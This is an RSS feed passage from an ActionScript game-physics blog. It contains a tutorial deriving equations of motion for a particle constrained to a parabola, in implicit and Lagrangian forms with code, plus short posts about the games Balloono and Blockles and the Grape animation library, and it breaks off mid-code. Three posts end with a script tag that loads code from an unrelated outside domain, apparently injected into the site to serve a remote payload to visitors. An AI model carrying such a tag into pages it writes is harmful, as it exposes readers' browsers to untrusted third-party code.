			<content:encoded><![CDATA[<p>This is the first in a series on simulating constraints; in this case a particle is constrained to move along a curve in planar space. To follow along, you&#8217;ll need to know a little physics, calculus and some algebra, and hopefully you&#8217;ve implemented a simple particle system before!</p>
<p>I&#8217;ve chosen a parabolic curve. We&#8217;re actually going to solve the problem in 2 different ways, so we&#8217;ll be seeing 2 separate representations of the curve, the first being the implicit form:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/implicitParabola.gif" alt="implicit form of parabola" /></p>
<p>Which looks like this for <em>x</em> {-200&#8230;200}:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/parabola.png" alt="parabola graphed from -200 to 200" /></p>
<p>The first method we&#8217;ll use for solving the constraint is described for a circle in <a href="http://www.cs.cmu.edu/~baraff/sigcourse/notesf.pdf">this</a> paper by Andrew Witkin. There are some convenient aspects of his example, and so it may not be entirely apparent how to constrain the particle to our parabola. I&#8217;ll follow Witkin&#8217;s format to show how his formula works in this context.</p>
<p>First, you write a positional constraint which is just our curve equation:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/positionalConstraint.gif" alt="positional constraint" /></p>
<p>The reason the curve <em>is</em> the constraint is because it implies that when the function&#8217;s value at (<em>x,y</em>) is zero, then [<em>x,y</em>] is located on the parabola. Next, we define the velocity constraint, which is the derivative of the positional constraint with respect to time:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/velocityConstraint.gif" alt="velocity constraint" /></p>
<p>If the velocity constraint is satisfied, then we&#8217;ll always end up with a valid position. Finally, we find the derivative again with respect to time. This is the acceleration constraint function:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/accelerationConstraint.gif" alt="acceleration constraint" /></p>
<p>As was the case with velocity → position, if the acceleration constraint is satisfied, so will the velocity. This means that, provided we&#8217;re starting with a valid position and velocity, we only ever need to enforce the acceleration constraint on the system.</p>
<p>Let&#8217;s do a quick review of Newton&#8217;s 2nd law:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/FequalsMA.gif" alt="Newton's 2nd law" /></p>
<p>Which states that force is equal to mass times acceleration. We&#8217;ll be making use of the fact that F represents the sum of all forces acting on the particle. So:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/FsumEqualsMA.gif" alt="Newton's component 2nd law" /></p>
<p>Solving for acceleration gives:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/componentizedAcceleration.gif" alt="Newton's component 2nd law solved for acceleration" /></p>
<p>The subscripts <em>ext</em> and <em>c</em> stand for external and constraint respectively. It&#8217;s worth pointing out for clarity&#8217;s sake that when a term is bold it represents a vector, whereas italicized variables are scalars.</p>
<p>Now we can replace the appearances of <em>x</em> and <em>y</em>&#8217;s 2nd derivatives, breaking <strong>F</strong> into its component parts to allow the constraint force to appear explicitly:</p>
<h6 style="padding-left: 30px;"><strong>Equation 1</strong></h6>
<p></br></p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/equation1.gif" alt="Equation 1" /></h6>
<p></br><br />
The 2 unknowns now appear, but only in the 1 equation, so we can&#8217;t solve yet. If we consider a particle attached to a frictionless wire, it should be apparent that the wire, which is the source of the constraint force, can do no work and so it can not add nor remove energy from the system. The kinetic energy of the system is defined as:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/kineticEnergy1.gif" alt="kinetic" /></p>
<p>To gain anything useful out of this, we have to consider what direction a force can push without changing <em>T</em>. From examining the derivative of this function with respect to time:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/kineticEnergyDerivative.gif" alt="kinetic" /></p>
<p>it should be apparent that the constraint force has an important relationship with the velocity vector, specifically that their dot product should equal zero (or else <em>T</em> would change as a direct result of the constraint force). We can use this knowledge to write the constraint force components into a 2nd equation:</p>
<h6 style="padding-left: 30px;"><strong>Equation 2</strong></h6>
<p></br></p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/equation2.gif" alt="Equation 2" /></h6>
<p></br><br />
This makes sense not just in terms of energy conservation, but also based on the constraint function chain described above. We already know our particle has a legal velocity, and so we don&#8217;t want to add any force that would ruin the circle of trust&#8211;the constraint force should only pull the external forces onto the acceleration curve.</p>
<p>I first solved for the <em>x</em> constraint component in terms of <em>y</em> from equation 2:</p>
<h6 style="padding-left: 30px;"><strong>Equation 3</strong></h6>
<p></br></p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/equation3.gif" alt="Equation 3" /></h6>
<p></br><br />
Solving for <em>y&#8217;</em> in the velocity constraint and substituting for <em>x&#8217;</em> in equation 3 reduces the variable count:</p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/constraintForceX.gif" alt="Constraint force x" /></h6>
<p>Plugging the right-hand side in for <em>F<sub>cx</sub></em> in equation 1 and solving for <em>F<sub>cy</sub></em> yields:</p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/constraintForceY.gif" alt="Constraint force y" /></h6>
<p>We could explicitly solve for <em>F<sub>cx</sub></em> too, but that&#8217;s a non-trivial number of multiplications and a divide. Luckily, we don&#8217;t have to because this is for a computational simulation; after <em>F<sub>cy</sub></em> is known, the solution to <em>F<sub>cx</sub></em> is given in equation 3.</p>
<p>Plugged into <strong>F</strong>=<em>m</em><strong>a</strong>, we have the equations of motion for a particle constrained to the parabola <em>x</em><sup>2</sup> + 100<em>y</em> = 0.</p>
<h4>Parametrized Form</h4>
<p>Now we&#8217;ll solve the problem a different way, using a reformulation of Newton&#8217;s equations called <em>Lagrangian mechanics</em>. Lagrangian mechanics involves finding the number of degrees of freedom (DOF) in a system, then expressing that system in terms of <em>generalized coordinates</em>, one for each DOF. In our example we have a single DOF, even though our particle exists in a 2-dimensional space. First, we phrase our parabola parametrically:</p>
<h6 style="padding-left: 30px;"><strong>Equation 4</strong></h6>
<p></br></p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/parametricParabola.gif" alt="Equation 4" /></h6>
<p></br><br />
Here, <em>q</em> is our lone generalized coordinate. Noting that <strong>x</strong> is a vector, the transformation from the generalized coordinate to our particle&#8217;s position is given in the parametric equation (4):</p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/parametricPosition.gif" alt="Parametrized position" /></h6>
</p>
<p>The Lagrangian equations of motion for a particle experiencing only <a href="http://en.wikipedia.org/wiki/Conservative_force">conservative forces</a>, as is the case with a particle constrained to a wire, is:</p>
<h6 style="padding-left: 30px;"><strong>Equation 5</strong></h6>
<p></br></p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/lagrangianEOM.gif" alt="Equation 5" /></h6>
<p></br><br />
David Eberly gives a full derivation of equation 5 from Newton&#8217;s 2nd law in his excellent, if often daunting, <a href="http://www.amazon.com/Game-Physics-Interactive-3d-Technology/dp/1558607404">Game Physics</a>. <strong>F</strong>, again, represents all externally applied <em>conservative</em> forces and <em>T</em> is the kinetic energy of the system, which is a function of <em>q</em> and <em>q&#8217;</em>. Before we can define <em>T</em> for this system, we have to derive <em>d</em><strong>x</strong>/<em>dq</em> and <strong>x&#8217;</strong> because kinetic energy is dependent upon velocity.</p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/xDot.gif" alt="velocity" /></h6>
<p>and</p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/dxdq.gif" alt="dxdq" /></h6>
<p>Now we can define the kinetic energy of the system as a function of our generalized coordinate because <strong>x&#8217;</strong> can be expressed entirely in terms of <em>q</em> and its first derivative:</p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/kineticEnergy2.gif" alt="kinetic energy" /></h6>
<p>Having determined the kinetic energy function, we can define the rest of the terms in equation 5. We&#8217;ll see that its first term includes <em>q</em>&#8217;s second derivative, which is the last piece needed to advance the simulation.</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/derivatives.gif" alt="derivatives" /></p>
<p>Lastly, <strong>F</strong>, in this case, is just the gravitational force, which we define as the vector <em>mg</em>[0,1]:</p>
<p style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/generalizedForce.gif" alt="generalized force" /></p>
<p>Next we plug all of this back into equation 5, which then defines the Lagrangian equations of motion for a particle constrained to the parametrized parabola (<em>q</em>,<em>-q</em><sup>2</sup>/100):</p>
<h6 style="padding-left: 30px;"><strong>Equation 6</strong></h6>
<p></br></p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/lagrangianEOMPlugged.gif" alt="Equation 6" /></h6>
<p></br><br />
Solving for acceleration yields:</p>
<h6 style="padding-left: 30px;"><img src="http://blog.generalrelativity.org/images/constraints1/qDotDot.gif" alt="Equation 6" /></h6>
<p>Now that we&#8217;ve solved for acceleration, we can advance our 2-dimensional simulation by numerically integrating our 1-dimensional differential equations. Below is a demo, showing both methods running side-by-side. If you watch long enough, you&#8217;ll see the implicit form (left) eventually leaves the parabola as error accumulates. In contrast, the parametric form will always be on the parabola, but energy will dissipate. These errors are associated with numerical integration inaccuracies and floating point imprecision.</p>
<h6 style="padding-left: 30px;"><strong>Roll over to run simulation. Left is the implicit form, right is the parametric</strong></h6>
<h6 style="padding-left: 30px;">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_DynamicsHarness_625793576"
			class="flashmovie"
			width="600"
			height="350">
	<param name="movie" value="http://blog.generalrelativity.org/images/constraints1/DynamicsHarness.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.generalrelativity.org/images/constraints1/DynamicsHarness.swf"
			name="fm_DynamicsHarness_625793576"
			width="600"
			height="350">
	<!--<![endif]-->
		
<p><a href="http://adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>

	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object></h6>
<h4>Considerations</h4>
<p>Each method has advantages and disadvantages. Both offer a relatively easy-to-follow format. Explicitly solving for a constraint force as we did with the implicit curve is more intuitive to me, but the parametric form is more computationally efficient, and the algebra isn&#8217;t as messy. A downside to the parametric form is that it isn&#8217;t a generic solution&#8211;adding new constraints to the system means solving a totally new set of equations of motion.</p>
<p>Below are the separate implementations that each run in a generic dynamics harness. You can see that there is more involved computationally in the implicit form:</p>
<h6 style="padding-left: 30px;"><strong>Implicit implementation</strong></h6>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> particle<span style="color: #000000; font-weight: bold;">:</span>Particle = Particle<span style="color: #000000;">&#40;</span> p<span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">0</span> <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span>;
particle.exertForce<span style="color: #000000;">&#40;</span> G <span style="color: #000000;">&#41;</span>; <span style="color: #009900;">//apply gravity</span>
&nbsp;
<span style="color: #6699cc; font-weight: bold;">var</span> m<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = particle.mass;
&nbsp;
<span style="color: #6699cc; font-weight: bold;">var</span> X<span style="color: #000000; font-weight: bold;">:</span>Vector3D = particle.<span style="color: #004993;">position</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> V<span style="color: #000000; font-weight: bold;">:</span>Vector3D = particle.velocity;
&nbsp;
<span style="color: #6699cc; font-weight: bold;">var</span> Fext<span style="color: #000000; font-weight: bold;">:</span>Vector3D = particle.force; <span style="color: #009900;">//generically grab all applied forces</span>
&nbsp;
<span style="color: #6699cc; font-weight: bold;">var</span> Fc<span style="color: #000000; font-weight: bold;">:</span>Vector3D = <span style="color: #0033ff; font-weight: bold;">new</span> Vector3D<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//solve for the constraint force</span>
Fc.<span style="color: #004993;">y</span> = <span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight: bold;">-</span><span style="color: #000000; font-weight:bold;">50</span> <span style="color: #000000; font-weight: bold;">*</span> m <span style="color: #000000; font-weight: bold;">*</span> V.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">*</span> V.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">-</span> <span style="color: #000000; font-weight:bold;">100</span> <span style="color: #000000; font-weight: bold;">*</span> X.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">*</span> Fext.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">-</span> <span style="color: #000000; font-weight:bold;">2500</span> <span style="color: #000000; font-weight: bold;">*</span> Fext.<span style="color: #004993;">y</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000;">&#40;</span> X.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">*</span> X.<span style="color: #004993;">x</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2500</span> <span style="color: #000000;">&#41;</span>;
Fc.<span style="color: #004993;">x</span> = <span style="color: #000000;">&#40;</span> Fc.<span style="color: #004993;">y</span> <span style="color: #000000; font-weight: bold;">*</span> X.<span style="color: #004993;">x</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight:bold;">50</span>;
&nbsp;
particle.exertForce<span style="color: #000000;">&#40;</span> Fc <span style="color: #000000;">&#41;</span>; <span style="color: #009900;">//exert the constraint force on the particle</span></pre></div></div>

<h6 style="padding-left: 30px;"><strong>Parametric implementation</strong></h6>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> q<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = <span style="color: #004993;">x</span><span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">0</span> <span style="color: #000000;">&#93;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> qPrime<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span> = v<span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">0</span> <span style="color: #000000;">&#93;</span>;
&nbsp;
a<span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">0</span> <span style="color: #000000;">&#93;</span> = <span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight: bold;">-</span>q <span style="color: #000000; font-weight: bold;">*</span> qPrime <span style="color: #000000; font-weight: bold;">*</span> qPrime <span style="color: #000000; font-weight: bold;">-</span> <span style="color: #000000; font-weight:bold;">50</span> <span style="color: #000000; font-weight: bold;">*</span> G <span style="color: #000000; font-weight: bold;">*</span> q <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">2500</span> <span style="color: #000000; font-weight: bold;">+</span> q <span style="color: #000000; font-weight: bold;">*</span> q <span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>As mentioned above, both of these are prone to computational error. In the demo, I&#8217;m using an RK4 integrator. Using a Euler integration scheme results in visible error within the first second of simulation. Although RK4 does a good job of reducing error, it isn&#8217;t perfect. Ideally, an error term is introduced to keep drift in check.</p>
<p>Move onto <a href="http://blog.generalrelativity.org/uncategorized/constrained-dynamics-2-joints-and-global-constraints/">part 2</a>, where we cover joints and global constraints.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/actionscript-30/constrained-dynamics-1-particle-constrained-to-curve/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Balloono gets a facelift!</title>
		<link>http://blog.generalrelativity.org/actionscript-30/balloono-gets-a-facelift/</link>
		<comments>http://blog.generalrelativity.org/actionscript-30/balloono-gets-a-facelift/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 00:52:43 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[ActionScript 3.0]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=172</guid>
		<description><![CDATA[I&#8217;ve been working the past couple months on revamping a lot of Balloono. Check it out.
Gameplay

Ghost Mode

Game Over Screen


]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been working the past couple months on revamping a lot of Balloono. <a href="http://www.omgpop.com/#/arcade/gamelobby/balloono">Check it out</a>.</p>
<p style="text-align: center;">Gameplay</p>
<p style="text-align: center;"><img src="http://blog.generalrelativity.org/images/game_mode.jpg" alt="game mode" /></p>
<p style="text-align: center;">Ghost Mode</p>
<p style="text-align: center;"><img src="http://blog.generalrelativity.org/images/ghost_mode.jpg" alt="ghost mode" /></p>
<p style="text-align: center;">Game Over Screen</p>
<p style="text-align: center;"><img src="http://blog.generalrelativity.org/images/end_screen.jpg" alt="game over screen" /></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/actionscript-30/balloono-gets-a-facelift/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blockles!</title>
		<link>http://blog.generalrelativity.org/actionscript-30/blockles/</link>
		<comments>http://blog.generalrelativity.org/actionscript-30/blockles/#comments</comments>
		<pubDate>Thu, 10 Sep 2009 12:13:52 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[ActionScript 3.0]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=158</guid>
		<description><![CDATA[It&#8217;s a multi-player, color-matching, combo-creating, item-based, hyphen-happy block game! Like all of our games, it&#8217;s better played with other people. There&#8217;s still a lot of tuning that I&#8217;ll be doing in the next week, but I&#8217;d like to know what you think.
Play!
  


]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s a multi-player, color-matching, combo-creating, item-based, hyphen-happy block game! Like all of our games, it&#8217;s better played with other people. There&#8217;s still a lot of tuning that I&#8217;ll be doing in the next week, but I&#8217;d like to know what you think.</p>
<p><a href="http://blockles.com">Play!</a></p>
<p> <a href="http://blockles.com"><img src="http://blog.generalrelativity.org/images/blockles_logo.png" alt="logo" /> </a><br />
<a href="http://blockles.com"><img src="http://blog.generalrelativity.org/images/blockles_grab.jpg" alt="game over" /></a><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/actionscript-30/blockles/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Grape Animation Library</title>
		<link>http://blog.generalrelativity.org/actionscript-30/grape-animation-library/</link>
		<comments>http://blog.generalrelativity.org/actionscript-30/grape-animation-library/#comments</comments>
		<pubDate>Wed, 02 Sep 2009 05:29:33 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[ActionScript 3.0]]></category>

		<category><![CDATA[Animation]]></category>

		<category><![CDATA[Flash Player 10]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=143</guid>
		<description><![CDATA[
http://code.google.com/p/grape-as3/
Grape is the animation library I introduced last post. Its goal is to offer a modular means to animate along parametrized paths.
Here&#8217;s the updated demo:

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_AnimationTester_953925393"
			class="flashmovie"
			width="520"
			height="500">
	<param name="movie" value="http://lab.generalrelativity.org/animation/AnimationTester.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://lab.generalrelativity.org/animation/AnimationTester.swf"
			name="fm_AnimationTester_953925393"
			width="520"
			height="500">
	<!--<![endif]-->
		


	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
Architecture
Animations have 2 essential component parts: a path and a curve. Paths define position and curves define progression. Both paths and curves are stateless, meaning [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/grape-as3/"><img src="http://blog.generalrelativity.org/images/grape/logo.jpg" alt="logo" /></a></p>
<p><a href="http://code.google.com/p/grape-as3/">http://code.google.com/p/grape-as3/</a></p>
<p>Grape is the animation library I introduced <a href="http://blog.generalrelativity.org/actionscript-30/new-flash-animation-library/">last post</a>. Its goal is to offer a modular means to animate along parametrized paths.</p>
<p>Here&#8217;s the updated demo:</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_AnimationTester_328393294"
			class="flashmovie"
			width="520"
			height="500">
	<param name="movie" value="http://lab.generalrelativity.org/animation/AnimationTester.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://lab.generalrelativity.org/animation/AnimationTester.swf"
			name="fm_AnimationTester_328393294"
			width="520"
			height="500">
	<!--<![endif]-->
		
<p><a href="http://adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>

	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<h2>Architecture</h2>
<p>Animations have 2 essential component parts: a path and a curve. Paths define position and curves define progression. Both paths and curves are stateless, meaning state is managed by the Animation type and the engine, Grape. This also means paths and curves are freely swappable without a need to clone, etc.</p>
<p>Grape&#8217;s Animation type by itself doesn&#8217;t assign values to your objects as you&#8217;re probably accustomed to with most popular tweening engines. Instead, it simply manages the state of the animation. Its state is a Vector of type Number. This allows the user to reference this state without necessarily tying it to a DisplayObject for instance. When you do want to bind the state of the animation to a DisplayObject, you&#8217;ll use a Binding, which simply applies the animation&#8217;s state to the appropriate object. The average user probably won&#8217;t ever touch a Binding directly, but it&#8217;s worth noting.</p>
<h2>API</h2>
<p>The engine is a singleton called Grape. It has creation methods for the 2 most likely animation scenarios, create2DAnimation and createPropertyAnimation. The latter should be fairly identical to how popular engines work. create2DAnimation will ideally be the typical use-case.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #009900;">//create the path to animate along</span>
<span style="color: #6699cc; font-weight: bold;">var</span> spiral<span style="color: #000000; font-weight: bold;">:</span>Path2D = <span style="color: #0033ff; font-weight: bold;">new</span> SpiralPath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #000000; font-weight:bold;">100</span> <span style="color: #000000;">&#41;</span>, <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">0</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//view is your DisplayObject and 2000 is the duration in milliseconds.</span>
Grape.getInstance<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>.create2DAnimation<span style="color: #000000;">&#40;</span> view, spiral, <span style="color: #000000; font-weight:bold;">2000</span> <span style="color: #000000;">&#41;</span>;</pre></div></div>

<p>And that&#8217;s it, your DisplayObject will tween in a spiral with original radius of 200 and end radius of 0 for 2 seconds. You can also set the start time (defaults to instantaneous start), the curve (defaults to linear), whether the animation loops (defaults to false), if the animation is to be played in reverse (defaults to false), and if the animation should reverse on loop (false).</p>
<p>The method returns the animation instance, in the case that you need a reference or would like to handle some of its events:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #6699cc; font-weight: bold;">var</span> anim<span style="color: #000000; font-weight: bold;">:</span>Animation = Grape.getInstance.create2DAnimation<span style="color: #000000;">&#40;</span> view, spiral, <span style="color: #000000; font-weight:bold;">2000</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//add listener for animation complete event</span>
anim.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span> <span style="color: #004993;">Event</span>.<span style="color: #004993;">COMPLETE</span>, onAnimationComplete <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #339966; font-weight: bold;">function</span> onAnimationComplete<span style="color: #000000;">&#40;</span> event<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Event</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #0033ff; font-weight: bold;">void</span>
<span style="color: #000000;">&#123;</span>
   <span style="color: #009900;">//animation done!</span>
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>You can also listen for an event everytime a looping animation loops and each tick of the engine:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #009900;">//add listener for animation loop event</span>
anim.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span> Animation.LOOP, onAnimationLoop <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//listen for Grape's tick</span>
Grape.getInstance<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>.<span style="color: #004993;">addEventListener</span><span style="color: #000000;">&#40;</span> Grape.TICK, onGrapeTick <span style="color: #000000;">&#41;</span>;</pre></div></div>

<h2>Paths</h2>
<p><strong>LinearPath2D, CirclePath2D, SpiralPath2D, SineWavePath2D</strong></p>
<p>These are all pretty self explanatory. Linear moves along a line segment. Circle moves around a circle&#8217;s edge; you can set the beginning and end radian. Spiral is the same as Circle but also interpolates radius. SineWavePath2D extends LinearPath2D, and so the wave deviates from the line segment.</p>
<p><strong>ComplexPath2D</strong></p>
<p>ComplexPath2D allows you to tween across multiple paths. You supply it a Vector of paths and a Vector of starting cues, specifically the percentage through the tween at which you want the corresponding path to begin.</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #009900;">//create the paths that will be added to the complex path</span>
<span style="color: #6699cc; font-weight: bold;">var</span> spiral<span style="color: #000000; font-weight: bold;">:</span>Path2D = <span style="color: #0033ff; font-weight: bold;">new</span> SpiralPath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #000000; font-weight:bold;">100</span> <span style="color: #000000;">&#41;</span>, <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">0</span> <span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> linear1<span style="color: #000000; font-weight: bold;">:</span>LinearPath2D = <span style="color: #0033ff; font-weight: bold;">new</span> LinearPath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #000000; font-weight:bold;">100</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> linear2<span style="color: #000000; font-weight: bold;">:</span>LinearPath2D = <span style="color: #0033ff; font-weight: bold;">new</span> LinearPath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">200</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">100</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;
<span style="color: #6699cc; font-weight: bold;">var</span> linear3<span style="color: #000000; font-weight: bold;">:</span>LinearPath2D = <span style="color: #0033ff; font-weight: bold;">new</span> LinearPath2D<span style="color: #000000;">&#40;</span> <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">200</span>, <span style="color: #000000; font-weight:bold;">100</span> <span style="color: #000000;">&#41;</span>, <span style="color: #0033ff; font-weight: bold;">new</span> <span style="color: #004993;">Point</span><span style="color: #000000;">&#40;</span> <span style="color: #000000; font-weight:bold;">100</span>, <span style="color: #000000; font-weight:bold;">100</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #6699cc; font-weight: bold;">var</span> paths<span style="color: #000000; font-weight: bold;">:</span>Vector. = Vector.<span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> spiral, linear1, linear2, linear3  <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//spiral and linear1 will take 25% of the animation's duration, linear2 will take 10%</span>
<span style="color: #009900;">//and linear3 will take 40%</span>
<span style="color: #6699cc; font-weight: bold;">var</span> cues<span style="color: #000000; font-weight: bold;">:</span>Vector. = Vector.<span style="color: #000000;">&#40;</span> <span style="color: #000000;">&#91;</span> <span style="color: #000000; font-weight:bold;">0</span>, <span style="color: #000000; font-weight:bold;">0.25</span>, <span style="color: #000000; font-weight:bold;">0.5</span>, <span style="color: #000000; font-weight:bold;">0.6</span> <span style="color: #000000;">&#93;</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
<span style="color: #009900;">//create the complex path</span>
